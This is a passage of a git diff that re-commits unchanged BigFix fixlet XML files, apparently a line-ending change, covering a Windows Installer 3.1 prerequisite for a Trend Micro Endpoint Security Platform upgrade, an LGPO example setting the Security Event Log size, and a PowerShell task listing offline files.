+        <PostLink> to view the Microsoft Windows Installer 3.1 information page.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://support.microsoft.com/?id=893803</ActionScript>
+    </Action>
+    <Action ID="Action320">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to see the new features in Tivoli Endpoint Manager 8.1.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://support.bigfix.com/bes/changes/changes-8.1.html</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Known issues for Windows Server and_or Console upgrades - Trend Micro Endpoint Security Platform version 8.1.634.0 (129).bes b/Sites/Windows Management/Fixlets/Fixlets/Known issues for Windows Server and_or Console upgrades - Trend Micro Endpoint Security Platform version 8.1.634.0 (129).bes
index bbd9b4579..56c8e3ee8 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Known issues for Windows Server and_or Console upgrades - Trend Micro Endpoint Security Platform version 8.1.634.0 (129).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Known issues for Windows Server and_or Console upgrades - Trend Micro Endpoint Security Platform version 8.1.634.0 (129).bes	
@@ -1,80 +1,80 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Known issues for Windows Server and/or Console upgrades - Trend Micro Endpoint Security Platform version 8.1.634.0
-  ID       : 129
-  Author   : besSupport
-  Domain   : BESC
-  Imported : 2012-10-17T13:13:28
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Known issues for Windows Server and/or Console upgrades - Trend Micro Endpoint Security Platform version 8.1.634.0</Title>
-    <Description><![CDATA[
-<TABLE><TBODY><TR><TD><P><STRONG>Version&nbsp;8.1.634.0 of Trend Micro Endpoint Security Platform is now available!</STRONG></P> <P>The latest version of Trend Micro Endpoint Security Platform provides several enhancements and fixes. Click on the link below for more information on changes in Trend Micro Endpoint Security Platform 8.1.</P> <P>Windows Installer 3.1 or greater must be installed to perform this upgrade. Use the action below to install Windows Installer 3.1. Once this is complete, you can use <?Relevance link of fixlet whose (name of it contains "Updated Windows Server and/or Console - Trend Micro Endpoint Security Platform version 8.1.634.0") of site of current fixlet?>to upgrade Trend Micro Endpoint Security Platform Servers and Consoles to version 8.1.634.0.</P> <P><STRONG>Note:</STRONG> Affected computers may report back as 'Pending Restart' once the patch has run successfully, but the vulnerability will not be closed until the affected computer is restarted.</P> <P>If you have any issues during the upgrade, you may want to review the manual upgrade instructions below to help resolve the issues.</P></TD></TR></TBODY></TABLE>
-]]></Description>
-    <Relevance>name of operating system as lowercase starts with &quot;win&quot;</Relevance>
-    <Relevance><![CDATA[((it = "Win7" OR it = "Win2008R2" OR it = "Win2008" OR it = "WinVista") of name of it OR ((name of it = "Win2003" AND service pack major version of it >= 1) OR ((it = "WinXP" OR it = "WinXP-2003") of name of it AND service pack major version of it >= 2))) of operating system]]></Relevance>
-    <Relevance>if (exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\Brand&quot; whose (exists value &quot;value&quot; of it) of registry) then (value &quot;value&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\Brand&quot; of registry as string = &quot;Trend&quot;) else (&quot;Trend&quot;=&quot;BigFix&quot;)</Relevance>
-    <Relevance>evaluation of client license = false</Relevance>
-    <Relevance><![CDATA[(exists service "BESRootServer" AND exists key "HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\Enterprise Server" whose (exists ((value "Version" of it) as string as version) whose (it < "8.1.634.0" AND it >= "7.0.1")) of registry) OR (exists regapp "BESConsole.exe" whose (version of it < "8.1.634.0" AND version of it >= "6"))]]></Relevance>
-    <Relevance><![CDATA[not (exists file "msiexec.exe" whose (version of it >= "3.1") of system folder)]]></Relevance>
-    <Category>Upgrade</Category>
-    <Source>IBM</Source>
-    <SourceID>&lt;Unspecified&gt;</SourceID>
-    <SourceReleaseDate>2012-01-31</SourceReleaseDate>
-    <SourceSeverity>Critical</SourceSeverity>
-    <MIMEField>
-      <Name>x-fixlet-first-propagation</Name>
-      <Value>Tue, 31 Jan 2012 21:19:33 +0000</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 30 Jul 2012 22:05:05 +0000</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-domain-attributes</Name>
-      <Value>BES Deploy Server Console</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to install Windows Installer 3.1 on relevant computers.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">prefetch WindowsKBforServer.exe sha1:8318455b36ba0a748307459279d46f2f4cdb5a0e size:2585872 http://download.microsoft.com/download/1/4/7/147ded26-931c-4daf-9095-ec7baf996f46/WindowsInstaller-KB893803-v2-x86.exe
-delete __Local/Get/WindowsKBforServer.exe
-move __Download/WindowsKBforServer.exe __Local/Get/WindowsKBforServer.exe
-wait __Local/Get/WindowsKBforServer.exe /passive /quiet /norestart
-delete __Local/Get/WindowsKBforServer.exe
-action may require restart</ActionScript>
-    </DefaultAction>
-    <Action ID="Action289">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> for manual upgrade instructions.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">http://support.bigfix.com/bes/install/upgradebes.html</ActionScript>
-    </Action>
-    <Action ID="Action290">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to see the new features in Trend Micro Endpoint Security Platform 8.1.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">http://support.bigfix.com/bes/changes/changes-8.1.html</ActionScript>
-    </Action>
-    <Action ID="Action291">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to view the Microsoft Windows Installer 3.1 information page.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">http://support.microsoft.com/?id=893803</ActionScript>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Known issues for Windows Server and/or Console upgrades - Trend Micro Endpoint Security Platform version 8.1.634.0
+  ID       : 129
+  Author   : besSupport
+  Domain   : BESC
+  Imported : 2012-10-17T13:13:28
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Known issues for Windows Server and/or Console upgrades - Trend Micro Endpoint Security Platform version 8.1.634.0</Title>
+    <Description><![CDATA[
+<TABLE><TBODY><TR><TD><P><STRONG>Version&nbsp;8.1.634.0 of Trend Micro Endpoint Security Platform is now available!</STRONG></P> <P>The latest version of Trend Micro Endpoint Security Platform provides several enhancements and fixes. Click on the link below for more information on changes in Trend Micro Endpoint Security Platform 8.1.</P> <P>Windows Installer 3.1 or greater must be installed to perform this upgrade. Use the action below to install Windows Installer 3.1. Once this is complete, you can use <?Relevance link of fixlet whose (name of it contains "Updated Windows Server and/or Console - Trend Micro Endpoint Security Platform version 8.1.634.0") of site of current fixlet?>to upgrade Trend Micro Endpoint Security Platform Servers and Consoles to version 8.1.634.0.</P> <P><STRONG>Note:</STRONG> Affected computers may report back as 'Pending Restart' once the patch has run successfully, but the vulnerability will not be closed until the affected computer is restarted.</P> <P>If you have any issues during the upgrade, you may want to review the manual upgrade instructions below to help resolve the issues.</P></TD></TR></TBODY></TABLE>
+]]></Description>
+    <Relevance>name of operating system as lowercase starts with &quot;win&quot;</Relevance>
+    <Relevance><![CDATA[((it = "Win7" OR it = "Win2008R2" OR it = "Win2008" OR it = "WinVista") of name of it OR ((name of it = "Win2003" AND service pack major version of it >= 1) OR ((it = "WinXP" OR it = "WinXP-2003") of name of it AND service pack major version of it >= 2))) of operating system]]></Relevance>
+    <Relevance>if (exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\Brand&quot; whose (exists value &quot;value&quot; of it) of registry) then (value &quot;value&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\Brand&quot; of registry as string = &quot;Trend&quot;) else (&quot;Trend&quot;=&quot;BigFix&quot;)</Relevance>
+    <Relevance>evaluation of client license = false</Relevance>
+    <Relevance><![CDATA[(exists service "BESRootServer" AND exists key "HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\Enterprise Server" whose (exists ((value "Version" of it) as string as version) whose (it < "8.1.634.0" AND it >= "7.0.1")) of registry) OR (exists regapp "BESConsole.exe" whose (version of it < "8.1.634.0" AND version of it >= "6"))]]></Relevance>
+    <Relevance><![CDATA[not (exists file "msiexec.exe" whose (version of it >= "3.1") of system folder)]]></Relevance>
+    <Category>Upgrade</Category>
+    <Source>IBM</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-01-31</SourceReleaseDate>
+    <SourceSeverity>Critical</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-first-propagation</Name>
+      <Value>Tue, 31 Jan 2012 21:19:33 +0000</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 30 Jul 2012 22:05:05 +0000</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-domain-attributes</Name>
+      <Value>BES Deploy Server Console</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to install Windows Installer 3.1 on relevant computers.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">prefetch WindowsKBforServer.exe sha1:8318455b36ba0a748307459279d46f2f4cdb5a0e size:2585872 http://download.microsoft.com/download/1/4/7/147ded26-931c-4daf-9095-ec7baf996f46/WindowsInstaller-KB893803-v2-x86.exe
+delete __Local/Get/WindowsKBforServer.exe
+move __Download/WindowsKBforServer.exe __Local/Get/WindowsKBforServer.exe
+wait __Local/Get/WindowsKBforServer.exe /passive /quiet /norestart
+delete __Local/Get/WindowsKBforServer.exe
+action may require restart</ActionScript>
+    </DefaultAction>
+    <Action ID="Action289">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> for manual upgrade instructions.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://support.bigfix.com/bes/install/upgradebes.html</ActionScript>
+    </Action>
+    <Action ID="Action290">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to see the new features in Trend Micro Endpoint Security Platform 8.1.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://support.bigfix.com/bes/changes/changes-8.1.html</ActionScript>
+    </Action>
+    <Action ID="Action291">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to view the Microsoft Windows Installer 3.1 information page.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://support.microsoft.com/?id=893803</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/LGPOv3.0 Example - Set Security Event Log Max Size to 80 MB via Local Group Policy (26933).bes b/Sites/Windows Management/Fixlets/Fixlets/LGPOv3.0 Example - Set Security Event Log Max Size to 80 MB via Local Group Policy (26933).bes
index 0782cb80d..f74e5254b 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/LGPOv3.0 Example - Set Security Event Log Max Size to 80 MB via Local Group Policy (26933).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/LGPOv3.0 Example - Set Security Event Log Max Size to 80 MB via Local Group Policy (26933).bes	
@@ -1,110 +1,110 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : LGPOv3.0 Example - Set Security Event Log Max Size to 80 MB via Local Group Policy
-  ID       : 26933
-  Author   : JasonWalker
-  Domain   : BESC
-  Imported : 2022-05-23T10:54:40
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>LGPOv3.0 Example - Set Security Event Log Max Size to 80 MB via Local Group Policy</Title>
-    <Description><![CDATA[<P>LGPO v3.0 is described at <A href="https://www.microsoft.com/en-us/download/details.aspx?id=55319">https://www.microsoft.com/en-us/download/details.aspx?id=55319</A>.&nbsp; The utility allows for scripted configuration of Local Group Policy (Computer, User, and MLGPO contexts).&nbsp;&nbsp;</P>
-<P>LGPO can configure Registry policies, apply Secedit templates, and configure Advanced Audit Policies.&nbsp; Existing policy settings can be exported or imported from text.</P>
-<P>This example fixlet demonstrates the use of LGPO by configuring the Security Event Log maximum size to 80 MB.&nbsp; </P>
-<P>The LGPO zip file includes a PDF explaining its use.&nbsp; </P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true</Relevance>
-    <Relevance><![CDATA[/* Apply to Windows 7 or higher only */ version of operating system >= version "6.1"]]></Relevance>
-    <Relevance>/* Sample check to set Security Event Log maximum size to 80 MB */  not exists keys &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Eventlog\Security&quot; whose (value &quot;MaxSize&quot; of it as integer = 81920) of native registry</Relevance>
-    <Category>LGPO Template Policy</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2017-08-17</SourceReleaseDate>
-    <MIMEField>
-      <Name>bigfixme-added-time</Name>
-      <Value>Thu, 17 Aug 2017 14:27:09 GMT</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>bigfixme-modification-time</Name>
-      <Value>Thu, 17 Aug 2017 14:27:09 GMT</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>bigfixme-keywords</Name>
-      <Value>Local Group Policy, LGPO, Security, MLGPO, Secedit</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>bigfixme-ID</Name>
-      <Value>24619</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 23 May 2022 17:48:53 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// To use this template, update or remove the following blocks and replace the Relevance
-
-// Enter your action script here
-
-begin prefetch block
-
-  add prefetch item name=LGPO.zip sha1=4578a97946102a20505d1e8f09abedd1fd7a8d89 size=531635 url=https://download.microsoft.com/download/8/5/C/85C25433-A1B0-4FFA-9429-7E023E7DA8D8/LGPO.zip sha256=cb7159d134a0a1e7b1ed2ada9a3ce8ce8f4de391d14403d55438af824247cc55
-
-  // Download UnZip utility
-  add prefetch item name=unzip.exe sha1=84debf12767785cd9b43811022407de7413beb6f size=204800 url=http://software.bigfix.com/download/redist/unzip-6.0.exe sha256=2122557d350fd1c59fb0ef32125330bde673e9331eb9371b454c2ad2d82091ac
-
-
-collect prefetch items
-end prefetch block
-
-// Add LGPO.zip to the client utility cache
-utility __Download\LGPO.zip
-
-// Add unzip.exe to the client utility cache
-utility __Download\unzip.exe
-
-waithidden __Download\unzip.exe -o &quot;{pathname of client folder of current site}\__Download\LGPO.zip&quot; -d &quot;{pathname of client folder of current site}\__Download&quot;
-
-
-action uses wow64 redirection false
-
-delete __createfile
-createfile until EOF_EOF_EOF
-; ----------------------------------------------------------------------
-; PARSING COMPUTER POLICY
-; Source file:  \temp\Registry.pol
-
-Computer
-Software\Policies\Microsoft\Windows\Eventlog\Security
-MaxSize
-DWORD:81920
-
-; PARSING COMPLETED.
-; ----------------------------------------------------------------------
-
-EOF_EOF_EOF
-
-delete regpol.txt
-move __createfile regpol.txt
-
-waithidden __Download\LGPO_30\LGPO.exe  /t regpol.txt
-continue if {exit code of action = 0}</ActionScript>
-    </DefaultAction>
-    <Action ID="Action28248">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to review this task in the bigfix.me Content Database.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">https://bigfix.me/cdb/fixlet/24619</ActionScript>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : LGPOv3.0 Example - Set Security Event Log Max Size to 80 MB via Local Group Policy
+  ID       : 26933
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2022-05-23T10:54:40
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>LGPOv3.0 Example - Set Security Event Log Max Size to 80 MB via Local Group Policy</Title>
+    <Description><![CDATA[<P>LGPO v3.0 is described at <A href="https://www.microsoft.com/en-us/download/details.aspx?id=55319">https://www.microsoft.com/en-us/download/details.aspx?id=55319</A>.&nbsp; The utility allows for scripted configuration of Local Group Policy (Computer, User, and MLGPO contexts).&nbsp;&nbsp;</P>
+<P>LGPO can configure Registry policies, apply Secedit templates, and configure Advanced Audit Policies.&nbsp; Existing policy settings can be exported or imported from text.</P>
+<P>This example fixlet demonstrates the use of LGPO by configuring the Security Event Log maximum size to 80 MB.&nbsp; </P>
+<P>The LGPO zip file includes a PDF explaining its use.&nbsp; </P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true</Relevance>
+    <Relevance><![CDATA[/* Apply to Windows 7 or higher only */ version of operating system >= version "6.1"]]></Relevance>
+    <Relevance>/* Sample check to set Security Event Log maximum size to 80 MB */  not exists keys &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Eventlog\Security&quot; whose (value &quot;MaxSize&quot; of it as integer = 81920) of native registry</Relevance>
+    <Category>LGPO Template Policy</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-08-17</SourceReleaseDate>
+    <MIMEField>
+      <Name>bigfixme-added-time</Name>
+      <Value>Thu, 17 Aug 2017 14:27:09 GMT</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-modification-time</Name>
+      <Value>Thu, 17 Aug 2017 14:27:09 GMT</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-keywords</Name>
+      <Value>Local Group Policy, LGPO, Security, MLGPO, Secedit</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-ID</Name>
+      <Value>24619</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 23 May 2022 17:48:53 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// To use this template, update or remove the following blocks and replace the Relevance
+
+// Enter your action script here
+
+begin prefetch block
+
+  add prefetch item name=LGPO.zip sha1=4578a97946102a20505d1e8f09abedd1fd7a8d89 size=531635 url=https://download.microsoft.com/download/8/5/C/85C25433-A1B0-4FFA-9429-7E023E7DA8D8/LGPO.zip sha256=cb7159d134a0a1e7b1ed2ada9a3ce8ce8f4de391d14403d55438af824247cc55
+
+  // Download UnZip utility
+  add prefetch item name=unzip.exe sha1=84debf12767785cd9b43811022407de7413beb6f size=204800 url=http://software.bigfix.com/download/redist/unzip-6.0.exe sha256=2122557d350fd1c59fb0ef32125330bde673e9331eb9371b454c2ad2d82091ac
+
+
+collect prefetch items
+end prefetch block
+
+// Add LGPO.zip to the client utility cache
+utility __Download\LGPO.zip
+
+// Add unzip.exe to the client utility cache
+utility __Download\unzip.exe
+
+waithidden __Download\unzip.exe -o &quot;{pathname of client folder of current site}\__Download\LGPO.zip&quot; -d &quot;{pathname of client folder of current site}\__Download&quot;
+
+
+action uses wow64 redirection false
+
+delete __createfile
+createfile until EOF_EOF_EOF
+; ----------------------------------------------------------------------
+; PARSING COMPUTER POLICY
+; Source file:  \temp\Registry.pol
+
+Computer
+Software\Policies\Microsoft\Windows\Eventlog\Security
+MaxSize
+DWORD:81920
+
+; PARSING COMPLETED.
+; ----------------------------------------------------------------------
+
+EOF_EOF_EOF
+
+delete regpol.txt
+move __createfile regpol.txt
+
+waithidden __Download\LGPO_30\LGPO.exe  /t regpol.txt
+continue if {exit code of action = 0}</ActionScript>
+    </DefaultAction>
+    <Action ID="Action28248">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to review this task in the bigfix.me Content Database.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">https://bigfix.me/cdb/fixlet/24619</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/List Offline Files (PowerShell) (644).bes b/Sites/Windows Management/Fixlets/Fixlets/List Offline Files (PowerShell) (644).bes
index 8c10cacc8..afe8adc8a 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/List Offline Files (PowerShell) (644).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/List Offline Files (PowerShell) (644).bes	
@@ -1,96 +1,96 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : List Offline Files (PowerShell)
-  ID       : 644
-  Author   : danielheth
-  Domain   : BESC
-  Imported : 2012-10-26T16:07:08
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>List Offline Files (PowerShell)</Title>
-    <Description><![CDATA[<P>List Offline Files</P>
-<P>This is considered a brute force search since it recursively looks at every file.&nbsp;</P>
-<P>Be careful to try and be specific with which folder to start your search.&nbsp; If you start at the "c:\" folder, the scan is likely to take a very long time... and this task waits for that search to complete... thus your client will be stalled until this search is finished.</P>
-<P><STRONG>The results file is saved in the "parent folder of the client" and named "OfflineFiles.csv".</STRONG></P>]]></Description>
-    <Relevance>name of operating system as string contains &quot;Win&quot;</Relevance>
-    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1&quot; whose (value &quot;Install&quot; of it as integer = 1) of registry</Relevance>
-    <Relevance><![CDATA[exists key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" whose (value "PowerShellVersion" of it as string as version >= "2.0") of registry]]></Relevance>
-    <Category>Search</Category>
-    <Source>danielheth@bigfix.me</Source>
-    <SourceID>&lt;Unspecified&gt;</SourceID>
-    <SourceReleaseDate>2012-10-26</SourceReleaseDate>
-    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Fri, 26 Oct 2012 21:05:37 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click&amp;nbsp; </PreLink>
-        <Link>here </Link>
-        <PostLink>&amp;nbsp;to search for offline folders/files. </PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action parameter query &quot;startDir&quot; with description &quot;Specify the root folder path you want to scan recursively through:&quot; and with default value &quot;c:\users&quot;
-//============================================================================
-//PowerShell Script...
-//
-//1. Save old ExecutionPolicy value
-parameter &quot;PolicyExisted&quot;=&quot;{exists value &quot;ExecutionPolicy&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of (if exists x64 registry then x64 registry else registry)}&quot;
-parameter &quot;oldExecutionPolicy&quot;=&quot;{if (parameter &quot;PolicyExisted&quot; as boolean) then (value &quot;ExecutionPolicy&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of (if exists x64 registry then x64 registry else registry) as string) else &quot;&quot;}&quot;
-//2. set to ExecutionPolicy=Unrestricted  and Pull PowerShell exe from registry... if 64bit then pull PowerShell x64
-if {x64 of operating system}
-	regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;=&quot;Unrestricted&quot;
-	parameter &quot;PowerShellexe&quot;=&quot;{value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of x64 registry}&quot;
-else
-	//we need to determine what the current execution policy is so we can put it back when we&apos;re done.
-	regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;=&quot;Unrestricted&quot;
-	parameter &quot;PowerShellexe&quot;=&quot;{value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of registry}&quot;
-endif
-//3. Create PowerShell script and save to a ps1 file
-delete __appendfile
-delete script.ps1
-appendfile Get-ChildItem &quot;{parameter &quot;startDir&quot;}&quot; -recurse | Where-Object {$_.Attributes -eq &apos;offline&apos;} | Export-Csv &quot;{pathname of parent folder of client}\OfflineFiles.csv&quot;
-move __appendfile script.ps1
-//4. Execute PowerShell with ps1 script file
-action uses wow64 redirection false
-waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -file &quot;{pathname of client folder of current site}\script.ps1&quot;
-action uses wow64 redirection {x64 of operating system}
-//5. Restore ExecutionPolicy back
-if {x64 of operating system}
-	if {parameter &quot;PolicyExisted&quot; as boolean}
-		regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;=&quot;{parameter &quot;oldExecutionPolicy&quot;}&quot;
-	else
-		regdelete64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;
-	endif
-else
-	if {parameter &quot;PolicyExisted&quot; as boolean}
-		regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;=&quot;{parameter &quot;oldExecutionPolicy&quot;}&quot;
-	else
-		regdelete &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;
-	endif
-endif
-//============================================================================</ActionScript>
-    </DefaultAction>
-    <Action ID="Action881">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to learn about Ben Shorehill&apos;s research into the powershell command we&apos;re using.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">http://www.symantec.com/connect/downloads/csv-report-all-offline-files-powershell</ActionScript>
-    </Action>
-    <Action ID="Action882">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to learn about Microsoft&apos;s Offline Files features.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">http://windows.microsoft.com/en-US/windows-vista/Understanding-offline-files</ActionScript>
-    </Action>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : List Offline Files (PowerShell)
+  ID       : 644
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-10-26T16:07:08
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>List Offline Files (PowerShell)</Title>
+    <Description><![CDATA[<P>List Offline Files</P>
+<P>This is considered a brute force search since it recursively looks at every file.&nbsp;</P>
+<P>Be careful to try and be specific with which folder to start your search.&nbsp; If you start at the "c:\" folder, the scan is likely to take a very long time... and this task waits for that search to complete... thus your client will be stalled until this search is finished.</P>
+<P><STRONG>The results file is saved in the "parent folder of the client" and named "OfflineFiles.csv".</STRONG></P>]]></Description>
+    <Relevance>name of operating system as string contains &quot;Win&quot;</Relevance>
+    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1&quot; whose (value &quot;Install&quot; of it as integer = 1) of registry</Relevance>
+    <Relevance><![CDATA[exists key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" whose (value "PowerShellVersion" of it as string as version >= "2.0") of registry]]></Relevance>
+    <Category>Search</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-10-26</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
